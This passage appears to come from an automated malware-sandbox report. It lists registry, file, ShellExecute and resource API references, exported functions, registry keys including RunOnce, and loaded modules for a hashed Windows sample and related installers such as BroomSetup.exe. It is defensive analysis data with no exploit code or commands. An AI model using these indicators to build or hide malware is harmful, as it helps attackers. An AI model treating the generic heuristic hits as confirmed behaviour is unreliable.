"00000000-00001444.00000000.109009.028F0000.00000004.mdmp")40:T642,Found reference to API "RegCreateKeyEx" (Indicator: "RegCreateKey"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "RegConnectRegistryW" (Indicator: "RegConnectRegistry"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "RegCreateKeyExW" (Indicator: "RegCreateKey"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "RegLoadKeyW" (Indicator: "RegLoadKey"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "RegCreateKeyEx" (Indicator: "RegCreateKey"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "RegCreateKeyExW" (Indicator: "RegCreateKey"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "RegConnectRegistryW" (Indicator: "RegConnectRegistry"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "RegCreateKeyExW" (Indicator: "RegCreateKey"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "RegLoadKeyW" (Indicator: "RegLoadKey"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")41:T5de,file/memory contains long string with (Indicator: "CreateFile"; File: "is-SM0SU.tmp") file/memory contains long string with (Indicator: "CreateFile"; File: "is-IEB6T.tmp") Found reference to API "CreateFileMapping" (Indicator: "CreateFile"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "CreateFileMapping" (Indicator: "CreateFile"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "CreateFile" (Indicator: "CreateFile"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.04858000.00000004.mdmp, 00000000-00001444.00000000.109009.04870000.00000004.mdmp, 00000000-00001444.00000001.110931.04858000.00000004.mdmp, 00000000-00001444.00000001.110931.04870000.00000004.mdmp") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")42:T894,Found GetProcAddress() and LoadLibraryA() in an import section (Source: BroomSetup.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: tuc4.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: 288c47bbc1871b439df19ff4df68f076.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: aviformattertool.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: INetC.dll) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-ND51B.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-O940H.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-8EM8Q.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: tuc4.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-KGHLP.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-9F3KE.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-Q1SH7.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-VNOL6.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-HITNB.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-4M261.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-Q1RQM.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-VEAGR.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-4SRP0.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-AMMN6.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-IT2IF.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-117UC.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-EUUPD.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-1KBIS.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-0QOJT.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-R76LM.tmp)43:T62a,Found reference to API "ShellExecuteEx failed (%d)." (Indicator: "ShellExecute"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "ShellExecuteEx returned hProcess=0" (Indicator: "ShellExecute"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "WinExec" (Indicator: "WinExec"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "ShellExecuteW" (Indicator: "ShellExecute"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "ShellExecuteExA" (Indicator: "ShellExecute"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "ShellExecuteA" (Indicator: "ShellExecute"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "ShellExecuteEx failed (%d)." (Indicator: "ShellExecute"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "ShellExecuteEx" (Indicator: "ShellExecute"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "ShellExecuteEx returned hProcess=0" (Indicator: "ShellExecute"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "ShellExecuteExA" (Indicator: "ShellExecute"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "ShellExecuteA" (Indicator: "ShellExecute"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp")44:Ta88,Found reference to API "FindResourceW" (Indicator: "FindResource"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "LockResource" (Indicator: "LockResource"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp, 00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "FindResourceExW" (Indicator: "FindResource"; Source: "00000000-00001444.00000000.109009.004A0000.00000002.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")45:T632,Found reference to API "MoveFileEx" (Indicator: "MoveFile"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "MoveFileEx failed (%d)." (Indicator: "MoveFile"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "MoveFile" (Indicator: "MoveFile"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "MoveFileW" (Indicator: "MoveFile"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "MoveFileExW" (Indicator: "MoveFile"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "MoveFileA" (Indicator: "MoveFile"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "MoveFileExA" (Indicator: "MoveFile"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "MoveFile" (Indicator: "MoveFile"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "MoveFileEx" (Indicator: "MoveFile"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "MoveFileEx failed (%d)." (Indicator: "MoveFile"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "MoveFileExA" (Indicator: "MoveFile"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "MoveFileA" (Indicator: "MoveFile"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp")46:T4b6,Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "CommandLineToArgvW" (Indicator: "CommandLineToArgv"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "CommandLineToArgvW" (Indicator: "CommandLineToArgv"; Source: "00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")47:T785,"BroomSetup.exe" contains export function called "TMethodImplementationIntercept" at ordinal 3 "BroomSetup.exe" contains export function called "__dbk_fcall_wrapper" at ordinal 2 "BroomSetup.exe" contains export function called "dbkFCallWrapperAddr" at ordinal 1 "INetC.dll" contains export function called "get" at ordinal 1 "INetC.dll" contains export function called "head" at ordinal 2 "INetC.dll" contains export function called "post" at ordinal 3 "INetC.dll" contains export function called "put" at ordinal 4 "_isdecmp.dll" contains export function called "inflate" at ordinal 1 "_isdecmp.dll" contains export function called "inflateEnd" at ordinal 2 "_isdecmp.dll" contains export function called "inflateInit_" at ordinal 3 "_isdecmp.dll" contains export function called "inflateReset" at ordinal 4 "_iscrypt.dll" contains export function called "ArcFourCrypt" at ordinal 1 "_iscrypt.dll" contains export function called "ArcFourInit" at ordinal 2 "_iscrypt.dll" contains export function called "ISCryptGetVersion" at ordinal 3 "is-ND51B.tmp" contains export function called "beCloseStream" at ordinal 4 "is-ND51B.tmp" contains export function called "beDeinitStream" at ordinal 3 "is-ND51B.tmp" contains export function called "beEncodeChunk" at ordinal 2 "is-ND51B.tmp" contains export function called "beEncodeChunkFloatS16NI" at ordinal 7 "is-ND51B.tmp" contains export function called "beFlushNoGap" at ordinal 8 "is-ND51B.tmp" contains export function called "beInitStream" at ordinal 1 "is-ND51B.tmp" contains export function called "beVersion" at ordinal 5 "is-ND51B.tmp" contains export function called "beWriteInfoTag" at ordinal 9 "is-ND51B.tmp" contains export function called "beWriteVBRHeader" at ordinal 6 "is-ND51B.tmp" contains export function called "lame_close" at ordinal 101 "is-ND51B.tmp" contains export function called "lame_encode_buffer_interleaved" at ordinal 11048:T1489,"SOFTWARE\Microsoft\.NETFramework\Policy\v4.0" in Source: 15608-784-00458C78 "SOFTWARE\Microsoft\.NETFramework\Policy\v2.0" in Source: 15608-784-00458C78 "SOFTWARE\Microsoft\.NETFramework\Policy\v1.1" in Source: 15608-784-00458C78 "SOFTWARE\Microsoft\.NETFramework" in Source: 15608-785-00458B84 "Software\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 15608-791-0047211C "Software\Microsoft\Windows\CurrentVersion\SharedDLLs" in Source: 15608-829-00453A54 "SYSTEM\CurrentControlSet\Control\Session Manager" in Source: 15608-2819-00454C04 "Software\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 15608-3046-004685C4 "Software\Microsoft\Windows\CurrentVersion\Uninstall\" in Source: 15608-3127-0046E1D0 "Software\Microsoft\Windows\CurrentVersion" in Source: 15608-3225-0047B1C0 "System\CurrentControlSet\Control\Windows" in Source: 15608-3283-0048213C "System\CurrentControlSet\Control\ProductOptions" in Source: 15608-3284-004821E4 "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" in Source: 15608-4387-0046242F "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 15608-4513-004734C1 "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001444.00000000.109009.00401000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\SharedDLLs" in Source: 00000000-00001444.00000000.109009.00401000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\Session Manager" in Source: 00000000-00001444.00000000.109009.00401000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Fonts" in Source: 00000000-00001444.00000000.109009.00401000.00000020.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Fonts" in Source: 00000000-00001444.00000000.109009.00401000.00000020.mdmp "SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00001444.00000000.109009.00401000.00000020.mdmp "SOFTWARE\Microsoft\.NETFramework\Policy\v4.0" in Source: 00000000-00001444.00000000.109009.00401000.00000020.mdmp "SOFTWARE\Microsoft\.NETFramework\Policy\v2.0" in Source: 00000000-00001444.00000000.109009.00401000.00000020.mdmp "SOFTWARE\Microsoft\.NETFramework\Policy\v1.1" in Source: 00000000-00001444.00000000.109009.00401000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" in Source: 00000000-00001444.00000000.109009.00401000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00001444.00000000.109009.00401000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall\" in Source: 00000000-00001444.00000000.109009.00401000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00001444.00000000.109009.00401000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 00000000-00001444.00000000.109009.00401000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00001444.00000000.109009.00401000.00000020.mdmp "System\CurrentControlSet\Control\Windows" in Source: 00000000-00001444.00000000.109009.00401000.00000020.mdmp "System\CurrentControlSet\Control\ProductOptions" in Source: 00000000-00001444.00000000.109009.00401000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" in Source: 00000000-00001444.00000000.109009.004A0000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00001444.00000000.109009.004A0000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion" in Source: 00000000-00001444.00000000.109009.004A0000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\ProfileReconciliation" in Source: 00000000-00001444.00000000.109009.004A0000.00000002.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001444.00000000.109009.028F0000.00000004.mdmp 00000000-00001444.00000001.110931.028F0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00001444.00000000.109009.028F0000.00000004.mdmp 00000000-00001444.00000001.110931.028F0000.00000004.mdmp "Software\AVI formatter tool\AVIFT1131" in Source: 00000000-00001444.00000000.109009.04858000.00000004.mdmp 00000000-00001444.00000001.110931.04858000.00000004.mdmp "JSoftware\Microsoft\Windows\CurrentVersion\Uninstall\AVI formatter tool_is" in Source: 00000000-00001444.00000000.109009.04870000.00000004.mdmp 00000000-00001444.00000001.110931.04870000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall\AVI formatter tool_iX" in Source: 00000000-00001444.00000000.109009.04870000.00000004.mdmp 00000000-00001444.00000001.110931.04870000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\CaretTracking" in Source: 00000000-00001444.00000001.110931.725C1000.00000020.mdmp "Software\Microsoft\Input" in Source: 00000000-00001444.00000001.110931.725C1000.00000020.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\OOBE" in Source: 00000000-00001444.00000001.110931.725C1000.00000020.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\CFL\ExperienceManagerData" in Source: 00000000-00001444.00000001.110931.725C1000.00000020.mdmp49:T82d,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "InstallSetup9.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "is-ND51B.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "is-O940H.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "is-KGHLP.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "is-T2M3R.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "is-F1GN9.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "is-5BQCL.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "is-L2OG8.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "is-FEENV.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "is-14LP7.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH "is-VEAGR.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH "is-L88TK.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "is-RPG62.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "is-D2IHO.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH "is-SM0SU.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH4a:T49a8,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "KERNEL32" at base 75380000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 75d10000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 75d10000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 75d10000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 75ef0000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75d10000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75d10000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75d10000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 730a0000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "ADVAPI32.DLL" at base 746c0000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72f70000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "SHLWAPI.DLL" at base 74ef0000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 75460000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "VERSION.DLL" at base 74200000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 727c0000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "USER32.DLL" at base 74500000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 75d10000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "MSCOREE.DLL" at base 73150000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 74ac0000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "PSAPI.DLL" at base 75250000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "RPCRT4.DLL" at base 75190000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "KERNEL32.DLL" at base 75380000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 712e0000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "OLE32.DLL" at base 75930000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 74ac0000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 75d10000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 71250000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 707f0000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6ffd0000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73f90000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "SHELL32.DLL" at base 764f0000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "NTDLL.DLL" at base 77ac0000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73a30000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 75f20000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 6fea0000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 764f0000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 75380000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 73dd0000 